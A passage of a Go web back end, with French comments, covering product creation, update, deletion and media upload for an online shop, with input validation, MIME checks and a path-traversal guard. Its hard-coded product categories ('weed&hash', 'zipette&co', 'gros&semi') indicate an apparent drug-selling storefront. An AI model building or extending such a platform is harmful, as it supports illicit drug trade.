return fmt.Errorf("description trop longue (max %d caractères)", MaxDescLength)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func validateStock(stock float64) error {
|
||||
if stock < 0 {
|
||||
return fmt.Errorf("stock ne peut pas être négatif")
|
||||
}
|
||||
if stock > 1000000 {
|
||||
return fmt.Errorf("stock trop élevé (max 1000000)")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func validatePrice(quantity int, price float64) error {
|
||||
if quantity <= 0 {
|
||||
return fmt.Errorf("quantité doit être > 0")
|
||||
}
|
||||
if quantity > 10000 {
|
||||
return fmt.Errorf("quantité trop élevée (max 10000)")
|
||||
}
|
||||
if price <= 0 {
|
||||
return fmt.Errorf("prix doit être > 0")
|
||||
}
|
||||
if price > 100000 {
|
||||
return fmt.Errorf("prix trop élevé (max 100000)")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func validateCategory(category string) error {
|
||||
// Nettoyage
|
||||
category = strings.ToLower(strings.TrimSpace(category))
|
||||
category = strings.Map(func(r rune) rune {
|
||||
if r < 32 || r == 127 {
|
||||
return -1
|
||||
}
|
||||
return r
|
||||
}, category)
|
||||
|
||||
validCategories := []string{"weed&hash", "zipette&co", "gros&semi"}
|
||||
for _, v := range validCategories {
|
||||
if category == v {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return fmt.Errorf("catégorie invalide")
|
||||
}
|
||||
|
||||
// ✅ VÉRIFICATION DU TYPE MIME RÉEL (pas juste l'extension)
|
||||
func validateFileMimeType(fileHeader *multipart.FileHeader) (string, error) {
|
||||
file, err := fileHeader.Open()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
// Lire les premiers 512 bytes pour détecter le type MIME
|
||||
buffer := make([]byte, 512)
|
||||
_, err = file.Read(buffer)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
mimeType := http.DetectContentType(buffer)
|
||||
|
||||
if !allowedMimeTypes[mimeType] {
|
||||
return "", fmt.Errorf("type de fichier non autorisé: %s", mimeType)
|
||||
}
|
||||
|
||||
return mimeType, nil
|
||||
}
|
||||
|
||||
// ✅ PROTECTION CONTRE PATH TRAVERSAL
|
||||
func sanitizeFilePath(path string) (string, error) {
|
||||
// Nettoyer le chemin
|
||||
cleaned := filepath.Clean(path)
|
||||
|
||||
// Vérifier qu'il ne contient pas de ".."
|
||||
if strings.Contains(cleaned, "..") {
|
||||
return "", fmt.Errorf("path traversal détecté")
|
||||
}
|
||||
|
||||
// Vérifier qu'il commence par "uploads/"
|
||||
if !strings.HasPrefix(cleaned, "uploads/") && !strings.HasPrefix(cleaned, "uploads\\") {
|
||||
return "", fmt.Errorf("chemin invalide")
|
||||
}
|
||||
|
||||
return cleaned, nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// CREATE PRODUCT - VERSION SÉCURISÉE
|
||||
// ============================================
|
||||
|
||||
func CreateProduct(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// ✅ VÉRIFIER LE RÔLE (déjà fait par middleware, double-check)
|
||||
role := c.GetString("role")
|
||||
if role != "admin" && role != "cabine" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
username, _ := safeGetUsername(c)
|
||||
|
||||
// ✅ PARSER AVEC LIMITE DE TAILLE
|
||||
if err := c.Request.ParseMultipartForm(MaxTotalUploadSize); err != nil {
|
||||
log.Printf("❌ [CreateProduct] Formulaire trop grand: %v", err)
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Fichiers trop volumineux"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ RÉCUPÉRER ET VALIDER LES DONNÉES
|
||||
name := strings.TrimSpace(c.PostForm("name"))
|
||||
category := strings.TrimSpace(c.PostForm("category"))
|
||||
description := strings.TrimSpace(c.PostForm("description"))
|
||||
stockStr := c.PostForm("stock")
|
||||
|
||||
// ✅ VALIDATION STRICTE
|
||||
if err := validateProductName(name); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
if err := validateProductDescription(description); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ NETTOYER ET VALIDER LA CATÉGORIE
|
||||
category = strings.ToLower(strings.TrimSpace(category))
|
||||
category = strings.Map(func(r rune) rune {
|
||||
if r < 32 || r == 127 {
|
||||
return -1
|
||||
}
|
||||
return r
|
||||
}, category)
|
||||
|
||||
if err := validateCategory(category); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ VALIDER LE STOCK
|
||||
stock, err := strconv.ParseFloat(stockStr, 64)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Stock invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
if err := validateStock(stock); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ RÉCUPÉRER ET VALIDER LES PRIX
|
||||
prices := []models.ProductPrice{}
|
||||
priceIndex := 0
|
||||
|
||||
for priceIndex < 100 { // Limite anti-spam
|
||||
quantityKey := fmt.Sprintf("prices[%d][quantity]", priceIndex)
|
||||
priceKey := fmt.Sprintf("prices[%d][price]", priceIndex)
|
||||
|
||||
quantityStr := c.PostForm(quantityKey)
|
||||
priceStr := c.PostForm(priceKey)
|
||||
|
||||
if quantityStr == "" || priceStr == "" {
|
||||
break
|
||||
}
|
||||
|
||||
quantity, err := strconv.Atoi(quantityStr)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Quantité invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
price, err := strconv.ParseFloat(priceStr, 64)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Prix invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
if err := validatePrice(quantity, price); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
prices = append(prices, models.ProductPrice{
|
||||
Quantity: quantity,
|
||||
Price: price,
|
||||
})
|
||||
|
||||
priceIndex++
|
||||
}
|
||||
|
||||
if len(prices) == 0 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Au moins un prix requis"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [CreateProduct] %s crée produit: %s", username, name)
|
||||
|
||||
// ✅ CRÉER LE PRODUIT
|
||||
product := models.Product{
|
||||
Name: name,
|
||||
Category: category,
|
||||
Description: description,
|
||||
Stock: stock,
|
||||
Prices: prices,
|
||||
}
|
||||
|
||||
err = database.CreateProduct(&product)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CreateProduct] Erreur DB: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur création produit"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [CreateProduct] Produit créé: ID=%d", product.ID)
|
||||
|
||||
// ✅ TRAITER LES FICHIERS MÉDIAS AVEC SÉCURITÉ
|
||||
if c.Request.MultipartForm == nil || c.Request.MultipartForm.File == nil {
|
||||
c.JSON(http.StatusCreated, gin.H{
|
||||
"success": true,
|
||||
"product": product,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
files, exists := c.Request.MultipartForm.File["media"]
|
||||
if !exists || len(files) == 0 {
|
||||
c.JSON(http.StatusCreated, gin.H{
|
||||
"success": true,
|
||||
"product": product,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ LIMITER LE NOMBRE DE FICHIERS
|
||||
if len(files) > MaxFilesPerProduct {
|
||||
database.DeleteProduct(product.ID)
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": fmt.Sprintf("Maximum %d fichiers autorisés", MaxFilesPerProduct),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("📁 [CreateProduct] %d fichiers à traiter", len(files))
|
||||
|
||||
cleanProductName := cleanFileName(product.Name)
|
||||
uploadedMedia := []models.Media{}
|
||||
savedFiles := []string{}
|
||||
var totalSize int64 = 0
|
||||
|
||||
for i, fileHeader := range files {
|
||||
// ✅ VÉRIFIER LA TAILLE INDIVIDUELLE
|
||||
if fileHeader.Size > MaxFileSize {
|
||||
rollbackFiles(savedFiles)
|
||||
database.DeleteProduct(product.ID)
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": fmt.Sprintf("Fichier %s trop volumineux (max %dMB)", fileHeader.Filename, MaxFileSize/(1024*1024)),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
totalSize += fileHeader.Size
|
||||
|
||||
// ✅ VÉRIFIER LA TAILLE TOTALE
|
||||
if totalSize > MaxTotalUploadSize {
|
||||
rollbackFiles(savedFiles)
|
||||
database.DeleteProduct(product.ID)
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": fmt.Sprintf("Taille totale dépassée (max %dMB)", MaxTotalUploadSize/(1024*1024)),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("📄 [%d/%d] Traitement: %s", i+1, len(files), fileHeader.Filename)
|
||||
|
||||
// ✅ VÉRIFIER LE TYPE MIME RÉEL (pas juste l'extension)
|
||||
mimeType, err := validateFileMimeType(fileHeader)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CreateProduct] Type MIME invalide: %v", err)
|
||||
rollbackFiles(savedFiles)
|
||||
database.DeleteProduct(product.ID)
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Type de fichier non autorisé"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ DÉTERMINER LE TYPE DE MÉDIA
|
||||
var mediaType string
|
||||
if strings.HasPrefix(mimeType, "image/") {
|
||||
mediaType = "image"
|
||||
} else if strings.HasPrefix(mimeType, "video/") {
|
||||
mediaType = "video"
|
||||
} else {
|
||||
rollbackFiles(savedFiles)
|
||||
database.DeleteProduct(product.ID)
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Type de média non supporté"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ GÉNÉRER UN NOM UNIQUE ET SÉCURISÉ
|
||||
uniqueFileName := utils.GenerateUniqueFileName(cleanProductName, fileHeader.Filename)
|
||||
|
||||
// ✅ CRÉER LE DOSSIER DE MANIÈRE SÉCURISÉE
|
||||
destFolder := filepath.Join("uploads", mediaType+"s")
|
||||
if err := os.MkdirAll(destFolder, 0755); err != nil {
|
||||
log.Printf("❌ [CreateProduct] Erreur création dossier: %v", err)
|
||||
rollbackFiles(savedFiles)
|
||||
database.DeleteProduct(product.ID)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur système"})
|
||||
return
|
||||
}
|
||||
|
||||
filePath := filepath.Join(destFolder, uniqueFileName)
|
||||
|
||||
// ✅ VALIDER LE CHEMIN (protection path traversal)
|
||||
safeFilePath, err := sanitizeFilePath(filePath)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CreateProduct] Path traversal détecté: %v", err)
|
||||
rollbackFiles(savedFiles)
|
||||
database.DeleteProduct(product.ID)
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Chemin invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ SAUVEGARDER LE FICHIER
|
||||
if err := c.SaveUploadedFile(fileHeader, safeFilePath); err != nil {
|
||||
log.Printf("❌ [CreateProduct] Erreur sauvegarde: %v", err)
|
||||
rollbackFiles(savedFiles)
|
||||
database.DeleteProduct(product.ID)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur sauvegarde fichier"})
|
||||
return
|
||||
}
|
||||
|
||||
savedFiles = append(savedFiles, safeFilePath)
|
||||
|
||||
// ✅ CRÉER L'ENTRÉE MÉDIA
|
||||
mediaURL := "/" + filepath.ToSlash(safeFilePath)
|
||||
media := models.Media{
|
||||
ProductID: product.ID,
|
||||
Type: mediaType,
|
||||
URL: mediaURL,
|
||||
}
|
||||
|
||||
if err := database.CreateMedia(&media); err != nil {
|
||||
log.Printf("❌ [CreateProduct] Erreur DB média: %v", err)
|
||||
rollbackFiles(savedFiles)
|
||||
database.DeleteProduct(product.ID)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur création média"})
|
||||
return
|
||||
}
|
||||
|
||||
uploadedMedia = append(uploadedMedia, media)
|
||||
log.Printf("✅ [CreateProduct] Média %d créé", media.ID)
|
||||
}
|
||||
|
||||
product.Media = uploadedMedia
|
||||
log.Printf("🎉 [CreateProduct] SUCCÈS: %d médias enregistrés", len(uploadedMedia))
|
||||
|
||||
c.JSON(http.StatusCreated, gin.H{
|
||||
"success": true,
|
||||
"product": product,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// GET ENDPOINTS - SÉCURISÉS (lecture publique OK)
|
||||
// ============================================
|
||||
|
||||
func GetAllProducts(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
products, err := database.GetAllProducts()
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetAllProducts] Erreur: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"success": false,
|
||||
"error": "Erreur récupération produits",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"data": products,
|
||||
"count": len(products),
|
||||
})
|
||||
}
|
||||
|
||||
func GetProductsByCategory(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
category := strings.ToLower(strings.TrimSpace(c.Param("category")))
|
||||
|
||||
// ✅ VALIDATION
|
||||
if err := validateCategory(category); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"success": false,
|
||||
"error": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
products, err := database.GetProductsByCategory(category)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GetProductsByCategory] Erreur: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"success": false,
|
||||
"error": "Erreur récupération produits",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ Charger les médias
|
||||
for i := range products {
|
||||
media, _ := database.GetMediaByProductID(products[i].ID)
|
||||
products[i].Media = media
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"data": products,
|
||||
"count": len(products),
|
||||
})
|
||||
}
|
||||
|
||||
func GetProductByID(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
id, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil || id <= 0 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"success": false,
|
||||
"error": "ID invalide",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
product, err := database.GetProductByID(id)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"success": false,
|
||||
"error": "Produit non trouvé",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ Charger les médias
|
||||
media, _ := database.GetMediaByProductID(product.ID)
|
||||
product.Media = media
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"data": product,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// UPDATE PRODUCT - VERSION SÉCURISÉE
|
||||
// ============================================
|
||||
|
||||
func UpdateProduct(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// ✅ VÉRIFIER LE RÔLE
|
||||
role := c.GetString("role")
|
||||
if role != "admin" && role != "cabine" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
username, _ := safeGetUsername(c)
|
||||
|
||||
id, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil || id <= 0 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ VÉRIFIER QUE LE PRODUIT EXISTE
|
||||
_, err = database.GetProductByID(id)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Produit non trouvé"})
|
||||
return
|
||||
}
|
||||
|
||||
var updateData struct {
|
||||
Name string `json:"name"`
|
||||
Category string `json:"category"`
|
||||
Description string `json:"description"`
|
||||
Stock float64 `json:"stock"`
|
||||
Prices []models.ProductPrice `json:"prices"`
|
||||
}
|
||||
|
||||
if err := c.ShouldBindJSON(&updateData); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Données invalides"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ VALIDATION COMPLÈTE
|
||||
if err := validateProductName(updateData.Name); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
if err := validateProductDescription(updateData.Description); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
if err := validateCategory(updateData.Category); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
if err := validateStock(updateData.Stock); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
if len(updateData.Prices) == 0 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Au moins un prix requis"})
|
||||
return
|
||||
}
|
||||
|
||||
for _, price := range updateData.Prices {
|
||||
if err := validatePrice(price.Quantity, price.Price); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("🔄 [UpdateProduct] %s met à jour produit #%d", username, id)
|
||||
|
||||
// ✅ UPDATE PRODUIT
|
||||
updateQuery := `
|
||||
UPDATE products
|
||||
SET name = $1, category = $2, description = $3, stock = $4, updated_at = $5
|
||||
WHERE id = $6
|
||||
`
|
||||
|
||||
_, err = database.Exec(updateQuery,
|
||||
updateData.Name,
|
||||
updateData.Category,
|
||||
updateData.Description,
|
||||
updateData.Stock,
|
||||
time.Now(),
|
||||
id,
|
||||
)
|
||||
if err != nil {
|
||||
log.Printf("❌ [UpdateProduct] Erreur UPDATE: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur mise à jour"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ UPDATE PRIX
|
||||
database.Exec(`DELETE FROM product_prices WHERE product_id = $1`, id)
|
||||
|
||||
for _, price := range updateData.Prices {
|
||||
_, err := database.Exec(`
|
||||
INSERT INTO product_prices (product_id, quantity, price)
|
||||
VALUES ($1, $2, $3)
|
||||
`, id, price.Quantity, price.Price)
|
||||
if err != nil {
|
||||
log.Printf("❌ [UpdateProduct] Erreur prix: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// ✅ RÉCUPÉRER LE PRODUIT MIS À JOUR
|
||||
updatedProduct, _ := database.GetProductByID(id)
|
||||
media, _ := database.GetMediaByProductID(id)
|
||||
updatedProduct.Media = media
|
||||
|
||||
log.Printf("✅ [UpdateProduct] Produit #%d mis à jour", id)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"product": updatedProduct,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// DELETE MEDIA - VERSION SÉCURISÉE
|
||||
// ============================================
|
||||
|
||||
func DeleteMedia(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// ✅ VÉRIFIER LE RÔLE
|
||||
role := c.GetString("role")
|
||||
if role != "admin" && role != "cabine" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
mediaID, err := strconv.Atoi(c.Param("media_id"))
|
||||
if err != nil || mediaID <= 0 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
media, err := database.GetMediaByID(mediaID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Média non trouvé"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ SÉCURISER LE CHEMIN AVANT SUPPRESSION
|
||||
filePath := strings.TrimPrefix(media.URL, "/")
|
||||
|
||||
safeFilePath, err := sanitizeFilePath(filePath)
|
||||
if err != nil {
|
||||
log.Printf("❌ [DeleteMedia] Path invalide: %v", err)
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Chemin invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ SUPPRIMER LE FICHIER PHYSIQUE
|
||||
if err := os.Remove(safeFilePath); err != nil && !os.IsNotExist(err) {
|
||||
log.Printf("⚠️ [DeleteMedia] Erreur suppression fichier: %v", err)
|
||||
}
|
||||
|
||||
// ✅ SUPPRIMER DE LA DB
|
||||
err = database.DeleteMedia(mediaID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur suppression"})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Média supprimé",
|
||||
})
|
||||
}
|
||||
|
||||
// handlers/product_handlers_SECURED.go
|
||||
|
||||
func UploadMedia(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// ✅ VÉRIFIER LE RÔLE
|
||||
username, err := safeGetUsername(c)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
|
||||
return
|
||||
}
|
||||
|
||||
role := c.GetString("role")
|
||||
if role != "admin" && role != "cabine" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ RÉCUPÉRER ET VALIDER L'ID PRODUIT
|
||||
productID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil || productID <= 0 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID produit invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ VÉRIFIER QUE LE PRODUIT EXISTE
|
||||
productName, err := database.GetProductNameByID(productID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Produit non trouvé"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("📤 [UploadMedia] %s upload média pour produit #%d (%s)", username, productID, productName)
|
||||
|
||||
// ✅ RÉCUPÉRER LE TYPE ET LE FICHIER
|
||||
fileType := c.PostForm("type")
|
||||
if fileType != "image" && fileType != "video" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Type invalide (image ou video requis)"})
|
||||
return
|
||||
}
|
||||
|
||||
file, err := c.FormFile("file")
|
||||
if err != nil {
|
||||
log.Printf("❌ [UploadMedia] Erreur récupération fichier: %v", err)
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Fichier manquant"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ VÉRIFIER LA TAILLE
|
||||
const MaxFileSize = 10 * 1024 * 1024 // 10MB
|
||||
if file.Size > MaxFileSize {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": fmt.Sprintf("Fichier trop volumineux (max %dMB)", MaxFileSize/(1024*1024)),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ VÉRIFIER LE TYPE MIME RÉEL
|
||||
fileHeader, err := file.Open()
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur lecture fichier"})
|
||||
return
|
||||
}
|
||||
defer fileHeader.Close()
|
||||
|
||||
buffer := make([]byte, 512)
|
||||
_, err = fileHeader.Read(buffer)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur lecture fichier"})
|
||||
return
|
||||
}
|
||||
|
||||
mimeType := http.DetectContentType(buffer)
|
||||
log.Printf("📋 [UploadMedia] Type MIME détecté: %s", mimeType)
|
||||
|
||||
// Vérifier que le MIME correspond au type déclaré
|
||||
if fileType == "image" && !strings.HasPrefix(mimeType, "image/") {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Le fichier n'est pas une image valide"})
|
||||
return
|
||||
}
|
||||
if fileType == "video" && !strings.HasPrefix(mimeType, "video/") {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Le fichier n'est pas une vidéo valide"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ GÉNÉRER UN NOM UNIQUE
|
||||
cleanProductName := cleanFileName(productName)
|
||||
uniqueFileName := utils.GenerateUniqueFileName(cleanProductName, file.Filename)
|
||||
|
||||
// ✅ CRÉER LE DOSSIER
|
||||
destFolder := filepath.Join("uploads", fileType+"s")
|
||||
if err := os.MkdirAll(destFolder, 0755); err != nil {
|
||||
log.Printf("❌ [UploadMedia] Erreur création dossier: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur création dossier"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ SAUVEGARDER LE FICHIER
|
||||
filePath := filepath.Join(destFolder, uniqueFileName)
|
||||
if err := c.SaveUploadedFile(file, filePath); err != nil {
|
||||
log.Printf("❌ [UploadMedia] Erreur sauvegarde: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur sauvegarde fichier"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [UploadMedia] Fichier sauvegardé: %s", filePath)
|
||||
|
||||
// ✅ CRÉER L'ENTRÉE EN BASE
|
||||
mediaURL := "/" + filepath.ToSlash(filePath)
|
||||
media := models.Media{
|
||||
ProductID: productID,
|
||||
Type: fileType,
|
||||
URL: mediaURL,
|
||||
}
|
||||
|
||||
err = database.CreateMedia(&media)
|
||||
if err != nil {
|
||||
// Rollback: supprimer le fichier
|
||||
os.Remove(filePath)
|
||||
log.Printf("❌ [UploadMedia] Erreur DB: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur création média"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [UploadMedia] Média #%d créé pour produit #%d", media.ID, productID)
|
||||
|
||||
c.JSON(http.StatusCreated, gin.H{
|
||||
"success": true,
|
||||
"message": "Média uploadé avec succès",
|
||||
"media": media,
|
||||
"uploaded_by": gin.H{
|
||||
"username": username,
|
||||
"role": role,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// DELETE PRODUCT - VERSION SÉCURISÉE
|
||||
// ============================================
|
||||
|
||||
func DeleteProduct(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// ✅ VÉRIFIER LE RÔLE
|
||||
role := c.GetString("role")
|
||||
if role != "admin" && role != "cabine" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
username, _ := safeGetUsername(c)
|
||||
|
||||
id, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil || id <= 0 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("🗑️ [DeleteProduct] %s supprime produit #%d", username, id)
|
||||
|
||||
// ✅ RÉCUPÉRER LES MÉDIAS AVANT SUPPRESSION
|
||||
mediaList, err := database.GetMediaByProductID(id)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur récupération médias"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ SUPPRIMER LES FICHIERS AVEC SÉCURITÉ
|
||||
for _, media := range mediaList {
|
||||
filePath := strings.TrimPrefix(media.URL, "/")
|
||||
|
||||
safeFilePath, err := sanitizeFilePath(filePath)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [DeleteProduct] Path invalide: %v", err)
|
||||
continue
|
||||
}
|
||||
|
||||
if err := os.Remove(safeFilePath); err != nil && !os.IsNotExist(err) {
|
||||
log.Printf("⚠️ [DeleteProduct] Erreur suppression: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// ✅ SUPPRIMER LES MÉDIAS DE LA DB
|
||||
database.DeleteMediaByProductID(id)
|
||||
|
||||
// ✅ SUPPRIMER LE PRODUIT
|
||||
err = database.DeleteProduct(id)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur suppression produit"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [DeleteProduct] Produit #%d supprimé", id)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Produit supprimé",
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// HELPERS
|
||||
// ============================================
|
||||
|
||||
func rollbackFiles(files []string) {
|
||||
for _, file := range files {
|
||||
safeFilePath, err := sanitizeFilePath(file)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
os.Remove(safeFilePath)
|
||||
}
|
||||
}
|
||||
|
||||
func cleanFileName(name string) string {
|
||||
replacements := map[string]string{
|
||||
"/": "-", "\\": "-", ":": "-",
|
||||
"*": "-", "?": "-", "\"": "-",
|
||||
"<": "-", ">": "-", "|": "-",
|
||||
